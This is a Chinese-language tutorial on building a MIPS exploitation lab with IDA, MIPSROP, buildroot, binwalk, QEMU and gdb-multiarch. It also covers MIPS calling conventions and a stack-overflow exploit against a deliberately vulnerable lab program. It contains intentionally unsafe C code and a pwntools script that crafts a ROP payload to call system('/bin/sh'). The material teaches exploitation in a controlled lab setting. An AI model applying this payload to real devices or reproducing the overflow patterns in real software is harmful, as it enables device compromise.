MIPS漏洞调试环境安装及栈溢出
字数 2146 2025-08-22 12:22:36
MIPS漏洞调试环境安装及栈溢出利用教程
一、环境安装
1. 静态分析环境安装
主要工具:
- IDA Pro:主反汇编工具
- MIPSROP插件:用于查找ROP gadget
- 安装支持IDA 7.0的版本
- 常用命令:
mipsrop.help() mipsrop.find(instruction_string) mipsrop.system() mipsrop.doubles() mipsrop.stackfinders() # 查找将栈地址放入寄存器的gadget mipsrop.tails() mipsrop.set_base() mipsrop.summary()
- Retdec:反编译插件
- JEB MIPS:反汇编和反编译工具(需完整版)
2. MIPS交叉编译环境安装
使用buildroot构建:
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot
sudo apt-get install libncurses-dev patch
make clean
make menuconfig
配置选项:
- Target Architecture → MIPS (little endian)
- Toolchain → Kernel Headers → 选择主机Linux版本
编译安装:
sudo apt-get install texinfo bison flex
sudo make
环境变量配置:
gedit ~/.bashrc
export PATH=$PATH:/Your_Path/buildroot/output/host/usr/bin
source ~/.bashrc
测试编译:
#include <stdio.h>
int vul(char *src) {
char output[20] = {0};
strcpy(output, src);
printf("%s\n", output);
return 0;
}
int main(int argc, char *argv[]) {
if (argc < 2){
printf("need more argument\n");
return 1;
}
vul(argv[1]);
return 0;
}
编译命令:mips-linux-gcc -o hello hello.c -static
3. 动态调试环境安装
推荐系统: Ubuntu 16.04
安装组件:
-
binwalk(固件提取工具)
sudo apt-get update sudo apt-get install build-essential autoconf git git clone https://github.com/devttys0/binwalk.git cd binwalk sudo python setup.py install sudo apt-get install python-lzma python-crypto libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip sudo pip install pyqtgraph sudo pip install capstone # 标准提取工具 sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools -
QEMU(模拟器)
sudo apt-get install qemu apt-get install qemu binfmt-support qemu-user-static运行命令:
- 静态编译程序:
qemu-mipsel ./hello - 动态链接程序:
qemu-mipsel -L /Your_Path/buildroot/output/target/ hello
- 静态编译程序:
-
GDB调试环境
# 安装pwndbg git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh # 安装gdb-multiarch sudo apt-get install gdb-multiarch
调试流程:
- 启动QEMU监听:
qemu-mipsel -g 1234 -L /Your_Path/buildroot/output/target/ hello - 启动GDB:
gdb-multiarch ./hello - 连接远程:
target remote 127.0.0.1:1234
4. QEMU模拟运行MIPS系统
网络配置:
- 安装依赖:
sudo apt-get install bridge-utils uml-utilities - 配置
/etc/network/interfaces:auto lo iface lo inet loopback auto ens33 iface ens33 inet manual up ifconfig ens33 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports ens33 bridge_stp off bridge_maxwait 1 - 创建
/etc/qemu-ifup:#!/bin/sh echo "Executing /etc/qemu-ifup" echo "Bringing $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 3 - 设置权限并重启网络:
sudo chmod a+x /etc/qemu-ifup sudo /etc/init.d/networking restart sudo ifdown ens33 sudo ifup br0
启动MIPS虚拟机:
- 下载镜像:
- debian_squeeze_mips_standard.qcow2
- vmlinux-2.6.32-5-4kc-malta
- 启动命令:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic - 登录:root/root
- 网络问题解决:
ifconfig -a查看接口名- 修改
/etc/network/interfaces中的接口名 ifup eth1启动接口
二、MIPS汇编基础
1. 寄存器说明
| 编号 | 名称 | 描述 |
|---|---|---|
| $0 | $zero | 始终为0 |
| $1 | $at | 保留寄存器 |
| $2-3 | \(v0-\)v1 | 保存表达式或函数返回结果 |
| $4-7 | \(a0-\)a3 | 函数前四个参数 |
| $8-15 | \(t0-\)t7 | 临时寄存器 |
| $16-23 | \(s0-\)s7 | 需保存的寄存器 |
| $24-25 | \(t8-\)t9 | 补充临时寄存器 |
| $26-27 | \(k0-\)k1 | 中断处理使用 |
| $28 | $gp | 全局指针 |
| $29 | $sp | 堆栈指针 |
| $30 | $fp | 帧指针 |
| $31 | $ra | 返回地址 |
2. 特殊寄存器
- PC:程序计数器
- HI:乘除结果高位
- LO:乘除结果低位
3. 函数调用特点
- 参数传递:
- 前4个参数通过\(a0-\)a3传递
- 多余参数放入调用栈空间
- 返回地址:
- 非叶子函数:存入堆栈
- 叶子函数:保留在$ra寄存器
- 栈帧:
- 没有EBP寄存器
- 函数进入时移动SP分配空间
三、栈溢出实例分析
1. 漏洞代码
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
void do_system(int code, char *cmd) {
char buf[255];
system(cmd);
}
void main() {
char buf[256] = {0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd", &fileData))
fileLen = fileData.st_size;
else return 1;
if((fp = fopen("passwd", "rb")) == NULL) {
printf("Cannot open file passwd!n");
exit(1);
}
ch = fgetc(fp);
while(count <= fileLen) {
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(!strcmp(buf, "adminpwd\n")) {
do_system(count, "ls -l");
} else {
printf("you have an invalid password!\n");
}
fclose(fp);
}
2. 漏洞利用步骤
-
计算偏移量:
offset = saved_ra - buf_addr = -0x4 - 0x1a0 = 0x19c
-
寻找gadget:
mipsrop.stackfinders() # 输出:0x004038D0 | addiu $a1, $sp, 0x58+var_40 | jr 0x58+var_4($sp) -
构造payload:
- 在$sp+0x18位置放入"/bin/sh"
- 在$sp+0x54位置放入do_system地址
-
生成攻击文件:
from pwn import *
do_system_addr = 0x400390
stack_finder_addr = 0x004038D0
f = open("passwd", "wb")
data = 'a' * (0x1a0 - 4)
data += p32(stack_finder_addr)
data += 'a' * 0x18
data += '/bin/sh\x00'
data = data.ljust(0x1a0 + 0x54, 'a')
data += p32(do_system_addr)
f.write(data)
f.close()
3. 编译测试
mipsel-linux-gcc -static stack_vuln.c -o stack_vuln
四、总结
本教程详细介绍了:
- MIPS环境搭建(静态分析、交叉编译、动态调试)
- QEMU模拟MIPS系统配置
- MIPS汇编基础与函数调用约定
- 实际栈溢出漏洞分析与利用
关键点:
- MIPS架构与x86的主要区别(参数传递、返回地址处理)
- 使用MIPSROP插件寻找合适的gadget
- 精确计算偏移量和构造ROP链
- 完整的动态调试方法
通过这套环境和方法,可以有效地分析和利用MIPS架构下的二进制漏洞。